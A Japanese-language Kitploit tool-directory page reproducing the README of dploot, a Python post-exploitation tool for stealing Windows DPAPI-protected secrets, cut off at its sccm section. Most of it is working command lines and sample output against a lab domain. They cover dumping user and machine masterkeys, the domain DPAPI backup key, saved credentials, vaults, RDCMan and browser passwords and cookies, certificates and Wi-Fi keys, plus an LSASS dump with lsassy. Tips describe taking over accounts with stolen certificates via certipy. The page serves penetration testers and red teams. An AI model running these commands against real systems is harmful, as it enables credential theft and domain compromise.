Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
dploot — PythonによるリモートおよびローカルのDPAPI奪取 | Kitploit
ツール/GitHubGitHub/zblurx/dploot
暗号化/復号化ツールポストエクスプロイトデジタルフォレンジックペネトレーションテストクラウドセキュリティレッドチーミング
GitHubzblurx/dploot

dploot

PythonによるリモートおよびローカルのDPAPI奪取

リポジトリを見る
555755ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

dploot

dploot は、Harmj0y によって C# で書かれた SharpDPAPI の Python による書き直しです。SharpDPAPI 自体は、gentilkiwi による Mimikatz の DPAPI を移植したものです。これらのツールの DPAPI ロジックをすべて実装していますが、今回は Python インタプリタと Linux 環境から使用できます。

DPAPI が何か分からない場合は、この投稿 を確認してください。

目次

  • dploot
    • 目次
    • インストール
    • 使用方法
      • Kerberos
    • 使い方
      • マシン上のローカル管理者として
      • Windows ファイルシステムへのオフラインアクセスを使用
      • ドメイン管理者(または同等)として
      • ドメイン管理者ではない場合
    • コマンド
      • ユーザートリアージ
        • masterkeys
        • credentials
        • vaults
        • rdg
        • certificates
        • browser
        • triage
      • マシントリアージ
        • machinemasterkeys
        • machinecredentials
        • machinevaults
        • machinecertificates
        • machinetriage
      • その他
        • wifi
        • sccm
        • backupkey
        • mobaxterm
        • wam
        • blob
    • クレジット

インストール

dploot は pipx を使用して PyPI から直接インストールできます:```text pipx install git+https://github.com/zblurx/dploot.git

root@kitploit:~
OR```text
pipx install dploot

Kali Linux では、リポジトリから dploot をインストールできます:```text sudo apt install python3-dploot

root@kitploit:~
## 使用方法```text
dploot (https://github.com/zblurx/dploot) v3.1.2 by @_zblurx
usage: dploot [-h]
              {backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi} ...

DPAPI looting locally remotely in Python

positional arguments:
  {backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
                        Action
    backupkey           Backup Keys from domain controller
    blob                Decrypt DPAPI blob. Can fetch masterkeys on target
    browser             Dump users credentials and cookies saved in browser from local or remote target
    certificates        Dump users certificates from local or remote target
    credentials         Dump users Credential Manager blob from local or remote target
    machinecertificates
                        Dump system certificates from local or remote target
    machinecredentials  Dump system credentials from local or remote target
    machinemasterkeys   Dump system masterkey from local or remote target
    machinetriage       Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
    machinevaults       Dump system vaults from local or remote target
    masterkeys          Dump users masterkey from local or remote target
    mobaxterm           Dump Passwords and Credentials from MobaXterm
    rdg                 Dump users saved password information for RDCMan.settings from local or remote target
    sccm                Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
    triage              Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
    vaults              Dump users Vaults blob from local or remote target
    wam                 Dump users cached azure tokens from local or remote target
    wifi                Dump wifi profiles from local or remote target

options:
  -h, --help            show this help message and exit

Kerberos

dplootはKerberosで認証できます。-kオプションを使用するだけです。キャッシュされたチケットを使用する場合は、-use-kcacheオプションを使用します。

使用方法

dplootの目標は、LinuxボックスからDPAPI関連の戦利品を簡素化することです。SharpDPAPIと同様に、このツールの使用方法は、ドメインを侵害したかどうかによって異なります。

マシンのローカル管理者として

Windowsコンピュータのローカル管理者である場合は、マシンのシークレットを略奪できます。例えば、machinecertificates(または他のMachine Triageコマンド、wifiコマンド)を使用します。```text $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -quiet [-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx

root@kitploit:~
### Windows ファイルシステムへのオフラインアクセスを用いる場合

システムへのローカル管理者アクセスを獲得する別の方法として、例えば物理アクセス、ドライブの取り外し、ファイルシステムを直接自分のマシンにマウントする方法があります。このモードを使用するには、ターゲットとして `LOCAL` を指定します。デフォルトでは、ターゲットファイルシステムはカレントディレクトリであると想定されます。`-root` で別のパスを指定できます:```text
$ dploot sccm -root /media/C_drive/ -t LOCAL
[*] Connected to LOCAL as \ (admin)

有効なユーザー名とパスワードを引数として与えることが依然として有用な場合があります。これらはマスターキーの復号に使用されます(以下のユーザートリアージの手順を参照):```text $ dploot masterkeys -root /mnt -u bob -p Password -t LOCAL [*] Connected to LOCAL as \bob (admin)

root@kitploit:~
### ドメイン管理者(または同等の権限)の場合

ドメイン管理者権限をお持ちの場合、backupkey コマンドでドメインの DPAPI バックアップキーを取得できます。このキーは、ドメインユーザーとコンピューターの任意の DPAPI マスターキーを復号化でき、しかも変更されることはありません。したがって、このキーにより攻撃者は、ドメインユーザーに関連する DPAPI で保護されたパスワードを入手できます。

ドメインのバックアップキーを取得するには、[backupkey](#backupkey) コマンドを使用できます:```text
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.112 -quiet
[-] Exporting domain backupkey to file key.pvk

その後、ネットワーク上のWindowsドメイン参加コンピューターに保存されているあらゆるユーザーシークレットを、例えばcertificatesコマンド(または他のUser Triageコマンド)で入手できます:``` $ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -pvk key.pvk -quiet [-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx [-] Writting certificate to jsmith_waza.local_D0C73E2C04BEAAB0.pfx [-] Writting certificate to m.scott_waza.local_EB9C21A5642D4EBD.pfx

root@kitploit:~
### ドメイン管理者ではない場合

(まだ)ドメイン管理者権限を取得していない場合、Mimikatz の `sekurlsa::dpapi` コマンドを使用すると、特定のシステム上で読み込まれたマスターキー(ユーザーおよび SYSTEM)の DPAPI マスターキー {GUID}:SHA1 マッピングを取得できます(ヒント: キー抽出後に `dpapi::cache` を実行すると、見やすい表が得られます)。これらのキーを {GUID1}:SHA1 {GUID2}:SHA1... 形式に変換すると、dploot に指定して対象ボックスをトリアージできます。また、[lsassy](https://github.com/Hackndo/lsassy) を使用して、復号化されたマスターキーを収集することもできます:```text
$ lsassy -u Administrator -p 'Password!123' -d waza.local -t 192.168.56.14 -m rdrleakdiag -M masterkeys
[+] 192.168.56.14 Authentication successful
[+] 192.168.56.14 Lsass dumped in C:\Windows\Temp\ff32F.fon (57121318 Bytes)
[+] 192.168.56.14 Lsass dump deleted
[+] 192.168.56.14 WAZA\DESKTOP-OJ3N8TJ$        [NT] 0e43c22a4b09520cf79ca19a9e1bbec7 | [SHA1] 2ce587ab64aa3488c5ed412ca1e554d0f8e5a411
(snip)
[+] 192.168.56.14 5 masterkeys saved to /data/masterkeys

その後、このマスターキーファイルを使用して、対象のコンピュータから情報を取得できます。たとえば、browser コマンド(または他の User Triage コマンド)を使用します:```text $ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -mkfile /data/masterkeys [*] Connected to 192.168.56.14 as waza.local\Administrator (admin)

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA] URL: Username: [email protected] Password: Waza1234

root@kitploit:~
また、[dploot masterkeys](#masterkeys) の `-hashes-outputfile` オプションを使用して、マスターキーのハッシュをダンプすることもできます。

## コマンド

### ユーザートリアージ

#### masterkeys

**masterkeys** コマンドは、任意のユーザーのマスターキーファイルを取得し、`-passwords FILE` による user:password の組み合わせ、`-nthashes` による user:nthash の組み合わせ、または `-pvk PVKFILE` によるドメインバックアップキーを使用して復号化します。これは、masterkey {GUID}:SHA1 マッピングのセットを返します。対応するオプションを指定しなくても、ターゲットへの接続に使用したパスワードまたは nthash を使用しようとすることに注意してください。平文パスワードをクラックするために、最終的には `-hashes-outputfile` を使用して、すべてのマスターキーハッシュを Hashcat/JtR 形式で取得することができます。

*ドメインバックアップキーの場合*:```text
$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
{68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

パスワード付き:```text $ cat passwords jsmith:Password#123 $ dploot masterkeys -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -passwords passwords [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

root@kitploit:~
***Tips***: *`outputfile` フラグを使用すると、dploot masterkeys は取得したマスターキーを指定されたファイルに追記します。すべてのマスターキーを同じファイルに保存しても問題ありません。DPAPI BLOB には、復号に必要なマスターキーの GUID が保存されるためです。*

#### credentials

**credentials** コマンドは、ユーザーの資格情報ファイルを検索し、`-mkfile FILE`(1つ以上の {GUID}:SHA1)を使用して復号します。または、`-passwords FILE`(user:password の組み合わせ)、`-nthashes`(user:nthash の組み合わせ)、または `-pvk PVKFILE` を使用して、まずマスターキーを復号します。

`mkfile` を使用する場合:```text
$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Credentials for ALL USERS

[CREDENTIAL]
LastWritten : 2022-04-12 16:55:44
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=test
Description :
Unknown     :
Username    : test
Unknown     : Password#{123}

[CREDENTIAL]
LastWritten : 2022-04-27 19:23:02
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=TERMSRV/srv01.waza.local
Description :
Unknown     :
Username    : DESKTOP-I60R2L6\Administrator
Unknown     : Password!123

pvk を使用:```text $ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage Credentials for ALL USERS

[CREDENTIAL] LastWritten : 2022-05-19 10:25:06 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:target=myserver.com Description : Unknown : Username : Administrator Unknown : Naga2019*

root@kitploit:~
#### vaults

**vaults** コマンドは、ユーザーのVaultsシークレットを検索し、1つ以上の {GUID}:SHA1 を含む `-mkfile FILE`、`-passwords FILE`(user:password の組み合わせ)、`-nthashes`(user:nthash の組み合わせ)、または `-pvk PVKFILE` を使用して復号化します。これにより、まずマスターキーが復号化されます。

`mkfile` を使用する場合:```text
$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage Vaults for ALL USERS

[VAULT_VPOL_KEYS]
Key1: 0x552f5d5b454d3a53aec4ff458539de02
Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b

[Internet Explorer]
Username        : test
Resource        : http://testphp.vulnweb.com/
Password        : b'74006500730074000000'

Decoded Password: test

pvk を使用して:```text $ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22

[*] Triage Vaults for ALL USERS

[VAULT_VPOL_KEYS] Key1: 0x552f5d5b454d3a53aec4ff458539de02 Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b

[Internet Explorer] Username : test Resource : http://testphp.vulnweb.com/ Password : b'74006500730074000000'

Decoded Password: test

root@kitploit:~
#### rdg

**rdg** コマンドは、ユーザーの RDCMan.settings ファイルのシークレットを検索し、1つ以上の {GUID}:SHA1 の `-mkfile FILE`、または user:password の組み合わせの `-passwords FILE`、user:nthash の組み合わせの `-nthashes`、または最初にマスターキーを復号するための `-pvk PVKFILE` を使用して復号します。

`mkfile` の場合:```text
$ dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage RDCMAN Settings and RDG files for ALL USERS

[CREDENTIAL PROFILES]
	Profile Name:	WAZA\Administrator
	Username:	WAZA\Administrator
	Password:	Placeholder1234567890

[LOGON PROFILES]
	Profile Name:	Custom
	Username:	WAZA\Administrator
	Password:	Password!123

[SERVER PROFILES]
	Name:		DC01.waza.local
	Profile Name:	Custom
	Username:	WAZA\jdoe
	Password:	Password#123

[SERVER PROFILES]
	Name:		SRV01.waza.local
	Profile Name:	Custom
	Username:	WAZA\jfile
	Password:	Password#123

pvk を使用:```text dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage RDCMAN Settings and RDG files for ALL USERS

[CREDENTIAL PROFILES] Profile Name: WAZA\Administrator Username: WAZA\Administrator Password: Placeholder1234567890

[LOGON PROFILES] Profile Name: Custom Username: WAZA\Administrator Password: Password!123

[SERVER PROFILES] Name: DC01.waza.local Profile Name: Custom Username: WAZA\jdoe Password: Password#123

[SERVER PROFILES] Name: SRV01.waza.local Profile Name: Custom Username: WAZA\jfile Password: Password#123

root@kitploit:~
#### certificates

**certificates** コマンドは、*MY* からユーザー証明書を検索し、`-mkfile FILE`(1つ以上の {GUID}:SHA1)、または `-passwords FILE`(user:password の組み合わせ)、`-nthashes`(user:nthash の組み合わせ)、または `-pvk PVKFILE` を使用してマスターキーを最初に復号化してから、証明書を復号化します。

`mkfile` を使う場合:```text
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Certificates for ALL USERS

Issuer:			CN=waza-ADCS1-CA,DC=waza,DC=local
Subject:		CN=John Smith,CN=Users,DC=waza,DC=local
Valid Date:		2022-05-24 09:51:33
Expiry Date:		2023-05-24 09:51:33
Extended Key Usage:
	Unknown OID (1.3.6.1.4.1.311.10.3.4)
	emailProtection (1.3.6.1.5.5.7.3.4)
	clientAuth (1.3.6.1.5.5.7.3.2)
	[!] Certificate is used for client auth!

-----BEGIN CERTIFICATE-----
MIIGDTCCBPWgAwIBAgITewAAAAJ+dBN7rSmWMAAAAAAAAjANBgkqhkiG9w0BAQ0F
ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph
MRYwFAYDVQQDEw13YXphLUFEQ1MxLUNBMB4XDTIyMDUyNDA5NTEzM1oXDTIzMDUy
(snip)
c/8HYJOcP6FjLmevTLLESCRCg9LG4I6NzjoRGU968HWZ5U7DGUYsCVUbzcIyJL3H
DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0
/j2bsWqbT/fCx+AgCT65VRk=
-----END CERTIFICATE-----


[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx

pvk を使用する場合:```text $ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage Certificates for ALL USERS

Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local Subject: CN=John Smith,CN=Users,DC=waza,DC=local Valid Date: 2022-05-24 09:51:33 Expiry Date: 2023-05-24 09:51:33 Extended Key Usage: Unknown OID (1.3.6.1.4.1.311.10.3.4) emailProtection (1.3.6.1.5.5.7.3.4) clientAuth (1.3.6.1.5.5.7.3.2) [!] Certificate is used for client auth!

-----BEGIN CERTIFICATE----- MIIGDTCCBPWgAwIBAgITewAAAAJ+dBN7rSmWMAAAAAAAAjANBgkqhkiG9w0BAQ0F ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph MRYwFAYDVQQDEw13YXphLUFEQ1MxLUNBMB4XDTIyMDUyNDA5NTEzM1oXDTIzMDUy (snip) c/8HYJOcP6FjLmevTLLESCRCg9LG4I6NzjoRGU968HWZ5U7DGUYsCVUbzcIyJL3H DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0 /j2bsWqbT/fCx+AgCT65VRk= -----END CERTIFICATE-----

[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx

root@kitploit:~
デフォルトでは、このツールはクライアント認証に使用される証明書のみを取得しますが、`-dump-all` を使用すると、すべての証明書を収集できます。

***ヒント***: *クライアント認証EKUを持つ証明書を入手した場合、[certipy](https://github.com/ly4k/Certipy) を使用してアカウントを乗っ取ることができます。*

#### browser

**browser** コマンドは、Chrome系ブラウザ内のユーザーのパスワードとクッキーを検索し、`-mkfile FILE`(1つ以上の {GUID}:SHA1)、または `-passwords FILE`(user:password の組み合わせ)、`-nthashes`(user:nthash の組み合わせ)、もしくは `-pvk PVKFILE`(マスターキーを最初に復号するため)を使用して復号します。

`mkfile` を使用する場合:```text
$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA]
URL:		
Username:	admin
Password:	Password!123

pvk を使う場合:```text $ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA] URL: Username: admin Password: Password!123

root@kitploit:~
保存されたCookieを表示するには、`-show-cookies` オプションを使用します。

2024年7月以降、[ChromiumベースのブラウザはApp Bound Key暗号化をサポートしています](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)。TLDR: ChromiumのCookie(そして近い将来パスワードも)をダンプするには、ユーザーとSYSTEMの両方のマスターキーを復号する必要があります。このオプションは `-v20-support` フラグでサポートされています。

#### triage

**triage** コマンドは、ユーザーの [credentials](#credentials)、[vaults](#vaults)、[rdg](#rdg)、[certificates](#certificates) コマンドを実行します。

### マシンのトリアージ

#### machinemasterkeys

**machinemasterkeys** コマンドは、RemoteRegistryを使用してLSAシークレットをダンプし、DPAPI_SYSTEMキーを取得します。このキーは、見つかったマシンマスターキーを復号するために使用されます。マスターキーの {GUID}:SHA1 マッピングのセットを返します。```text
$ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db

machinecredentials

machinecredentials コマンドは、見つかったマシンの Credentials ファイルをすべて取得し、1つ以上の {GUID}:SHA1 の -mkfile FILE で復号します。それ以外の場合、dploot は DPAPI_SYSTEM LSA シークレットキーをダンプしてマシンのマスターキーを復号し、見つかった暗号化された DPAPI XXX blob を復号します。```text $ dploot machinecredentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{07e6e8d6-7eae-4780-9aac-641818ddd9bb}:ddb9fa17d4e9ab12[...] {a87bcad8-5ed9-4f09-a9f7-34d77e20d0d4}:e4661cd36f07bb1f[...] {d03a0e3b-b616-4a29-8795-9ca09960de35}:a45fdd01699bfbc5[...] {69b3f620-eca1-45c1-a003-f1d0a8598c57}:2862216b21e96fa6[...] {9a270191-3f43-46d1-9935-5892dca2a9a2}:d3cb43dd6645d26d[...] {e85c4ab7-65d3-45df-9abe-829c2ead1c5f}:c2a118094fb7cf85[...]

[*] Triage SYSTEM Credentials

[CREDENTIAL] LastWritten : 2022-05-06 15:51:53 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:batch=TaskScheduler:Task:{31424469-6CCD-4137-8DFF-541872FD3CBB} Description : Unknown : Username : WAZA\Administrator Unknown : Password!123

root@kitploit:~
#### machinevaults

**machinevaults**コマンドは、見つかったマシンのVaultsファイルを取得し、1つ以上の{GUID}:SHA1を指定した`-mkfile FILE`で復号化します。それ以外の場合、dplootはマシンのマスターキーを復号化するためにDPAPI_SYSTEM LSAシークレットキーをダンプし、見つかった暗号化されたDPAPI Vaults blobを復号化します。```text
$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage SYSTEM masterkeys

{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049

[*] Triage SYSTEM Vaults

[VAULT_VPOL_KEYS]
Key1: 0x8a3dad10ce6ae44ba1700d1060cc28c4
Key2: 0x1514dd2c8f278ac517cf1ae09255aeaff62219a019bc21ac35321c040064b0b5

machinecertificates

machinecertificates コマンドは、見つかったマシンの秘密鍵ファイルを取得し、1つ以上の {GUID}:SHA1 を含む -mkfile FILE を使用して復号します。それ以外の場合は、dploot が DPAPI_SYSTEM LSA シークレットキーをダンプして、マシンマスターキーを復号し、見つかった暗号化された DPAPI 秘密鍵ブロブを復号します。

また、RemoteRegistry を使用してマシン CAPI 証明書ブロブもダンプします。```text $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349 {c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46 {e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba {6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89 {750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049 {9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db

[*] Triage SYSTEM Certificates

Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local Subject: CN=DESKTOP-OJ3N8TJ.waza.local Valid Date: 2022-06-11 10:31:16 Expiry Date: 2023-06-11 10:31:16 Extended Key Usage: clientAuth (1.3.6.1.5.5.7.3.2) serverAuth (1.3.6.1.5.5.7.3.1) [!] Certificate is used for client auth!

-----BEGIN CERTIFICATE----- MIIFjTCCBHWgAwIBAgITewAAAAXrqLLiBZJG3AAAAAAABTANBgkqhkiG9w0BAQ0F ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph (snip) nXZ6/pA+XGqQwHG/hWG2TR5Ivjzoy+OjAgu44LqucC8Pw3wWToVWCKxdGgZcXqHE TXrQnLFK+nWqjrvJsM/O6HgNJbG/lqF/sogux3FLmW7a -----END CERTIFICATE-----

[-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx

root@kitploit:~
***Tips***: *クライアント認証EKUを持つ証明書を取得した場合、[certipy](https://github.com/ly4k/Certipy) でアカウントを乗っ取ることができます。*

#### machinetriage

machinetriage コマンドは、[machinecredentials](#machinecredentials)、[machinevaults](#machinevaults)、[machinecertificates](#machinecertificates) を実行します。

### Misc

#### wifi

**wifi** コマンドは、wifi XML 設定ファイルを取得し、`-mkfile FILE` で指定された1つ以上の {GUID}:SHA1 を使って復号します。そうでない場合、dploot は DPAPI_SYSTEM LSA シークレットキーをダンプし、マシンのマスターキーを復号し、見つかった暗号化された DPAPI 秘密鍵ブロブを復号します。```text
$ dploot wifi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db

[*] Triage ALL WIFI profiles

[WIFI]
SSID:		Wifi_G
AuthType:	WPA2PSK
Encryption:	AES
Preshared key:	AzErTy1234567890QwSxDcFvG

[WIFI]
SSID:		EAP_TLS
AuthType:	WPA2 EAP
Encryption:	AES
EAP Type:	EAP TLS

EapHostConfig:
  EapMethod:
    Type: 13
    VendorId: 0
    VendorType: 0
    AuthorId: 0
  Config:
    Eap:
      Type: 13
      EapType:
        CredentialsSource:
          CertificateStore:
            SimpleCertSelection: true
        ServerValidation:
          DisableUserPromptForServerValidation: false
          ServerNames: None
        DifferentUsername: false
        PerformServerValidation: true
        AcceptServerName: false

[snip]

sccm

